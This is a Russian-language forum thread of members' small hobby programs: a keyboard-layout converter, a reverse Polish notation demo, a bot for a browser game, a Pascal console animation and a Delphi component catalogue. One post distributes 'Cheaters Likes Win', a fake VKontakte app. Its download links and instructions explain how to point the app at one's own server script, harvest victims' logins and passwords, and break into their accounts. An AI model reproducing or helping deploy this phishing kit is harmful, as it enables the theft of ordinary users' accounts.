Сюда выкладываем свои небольшие наработки.
Не флудим, не оффтопим :moder:

Писал программу давно, но из-за лени так и не дописал. Седня взядся заново и дописал. Программка небольшая и навряд ли впечатлит вас. Суть в том что часто бывает пишут типа:
Fyybvjy ufl? vtyz dxthf pf,fybk!а понять че написано можно толко вбив гугл. У нас получится:
Аннимон очень хороший человек!Эта программа делает тоже самое что и гугл, только в оффлайне. Вообщем, разбирайтесь. Если есть баги (а я знаю что они есть- я там набыдлокодил пару месяцев назад, занововсе писать лень было) пишите сюда. Вот прога:
Ссылка http://annimon.com/forum/file8987/AShifrator%200.4.exe

Az@ (18.01.2013/12:58)
Писал программу давно, но из-за лени так и не дописал. Седня взядся заново и дописал. Программка небольшая и навряд ли впечатлит вас. Суть в том что часто бывает пишут типа:а понять че написано можно Вырежи из akelpad

На днях захотелось что нибудь написать, так и получилось то что получилось. А именно:
программа предназначена для наглядной демонстрации обратной польской записи, и вычисления ее же.
Поддерживает ввод одно цифровых чисел (0..9), скобок, операции + - * /.
Например, вводим 2+2*2 , получаем 222*+ =6. Все что до знака равно это и есть обратная польская запись.
------------------------------

Cheaters Likes Win – очередной фейк Контакта.

Инструкция:
Открываем архив, в нем видим clw.exe и файл dat.dll, второй это никакой не .длл, а самый обычный .txt файл, который редачим любым блокнотом. В нем прописываем адрес своего сайта с путем к скрипту, который прилагается ниже.

Полученные данные смотрим в той же папке, где у вас лежит скрипт.
Название файла, это есть логин лоха () (чтобы улучшить поиск), для каждого попавшегося новый файл. Находим на хосте, например [email protected] открываем, видим Login: [email protected] Password: mypassword, копируем, ломаем

Скачать:
- clw_2.rar [563кб]
- clw_index.zip [4кб] (скрипт)
- clw2.png (скрин)

Открыть спойлер

Закрыть спойлер

Cheaters Likes Win (new)

Вот недавно написал бота для онлайн игры!
Сталкер (http://sta1ker.com/ не реклама)

Функционал:
    - Собрать хабар
    - Бродить по локациям и убивать монстров
    - Сражатся на арене
    - Собирать на рейдах разный шмот, оружие, аптечки
    - искать тайники
    - Работает в скрытом режиме (открывается из панели)
      пока все.
от себя скажу запустил где то минут 5 и я поднял 10уровень

Кому нужны исодники пишите в лс.

скачать:
http://upwap.ru/3148904
http://rghost.ru/46568384

вот добавил на сайт в атаче

Паскаль. 0ик, который бегает по прямоугольнику в заданных координатах.

Открыть спойлер

Закрыть спойлер

[копировать] [скачать]

1. program robot01;
2.  uses crt;
3.  const robot='0'; //курсор робота
4.        timer=20; //скорость робота
5.        robotcrt=1; //если стоит 1, робот будет разноцветным, иначе белым
6.        rcrti=15; //количество изменяемых цветов на роботе при robotcrt=1
7.        maxheight=20; //максимальная высота
8.        minheight=1; //минимальная высота
9.        maxwidth=40; //максимальная длинна
10.        minwidth=1; //минимальная длинна
11.  type rvbyte=1..40; //при изменении высоты или длинны, впишите сюда минимальное и максимальное значения
12.  var x,y:rvbyte;
13.  
14. procedure drawcrt;
15.  type dcrti=1..15;
16.  var x:dcrti;
17. begin randomize;
18.  x:=random(rcrti)+1;
19.  textcolor(x) end;
20.  
21. procedure drawrobot(dr:string;
22. x,y:rvbyte);
23. begin gotoxy(x,y);
24.  write(dr) end;
25.  
26. procedure robot01logic(x,y:rvbyte);
27.  forward;
28.  
29. procedure robot01left(x,y:rvbyte);
30. begin repeat x:=x-1;
31.   drawrobot(robot,x,y);
32.   delay(timer);
33.   clrscr;
34.   robot01logic(x,y) until false end;
35.  
36. procedure robot01up(x,y:rvbyte);
37. begin repeat y:=y-1;
38.   drawrobot(robot,x,y);
39.   delay(timer);
40.   clrscr;
41.   robot01logic(x,y) until false end;
42.  
43. procedure robot01right(x,y:rvbyte);
44. begin repeat x:=x+1;
45.   drawrobot(robot,x,y);
46.   delay(timer);
47.   clrscr;
48.   robot01logic(x,y) until false end;
49.  
50. procedure robot01down(x,y:rvbyte);
51. begin repeat y:=y+1;
52.   drawrobot(robot,x,y);
53.   delay(timer);
54.   clrscr;
55.   robot01logic(x,y) until false end;
56.  
57. procedure robot01logic(x,y:rvbyte);
58. begin if (x=minwidth) and (y=maxheight) then robot01right(x,y);
59.  if (x=maxwidth) and (y=maxheight) then robot01up(x,y);
60.  if (x=maxwidth) and (y=minheight) then robot01left(x,y);
61.  if (x=minwidth) and (y=minheight) then robot01down(x,y);
62.  if robotcrt=1 then drawcrt end;
63.  
64. procedure load;
65. begin x:=minwidth;
66.  y:=minheight;
67.  robot01logic(x,y) end;
68.  
69. begin load end.

Перенесено:
Mxplorer от Virus-ON

Разрабатываю программу(базу) компонентов для delphi. Из программы можно будет узнать описание компонента, посмотреть скриншоты и сразу же скачать. Компоненты, которые есть в базе хочу скопировать на какой нибуть хостинг, на случай если сайт компонента не будет работать или сайта у компонента нет. Программу начал писать вчера вечером, так что пока функционала почти нет. Также в будущем(если проект будет кому-то интересен) сделать offline версию Если кому-то данный проект интересен, жду советов, что добавить(сейчас нужно добавить больше категорий компонентов), или другие пожелания или замечания. Также, если кто хочет, может помочь в составлении базы.

hottabxp, а Delphi ещё жив? оО
Если да, то должна быть уже какая-то база "компонент", нужно под неё как-то подстроиться.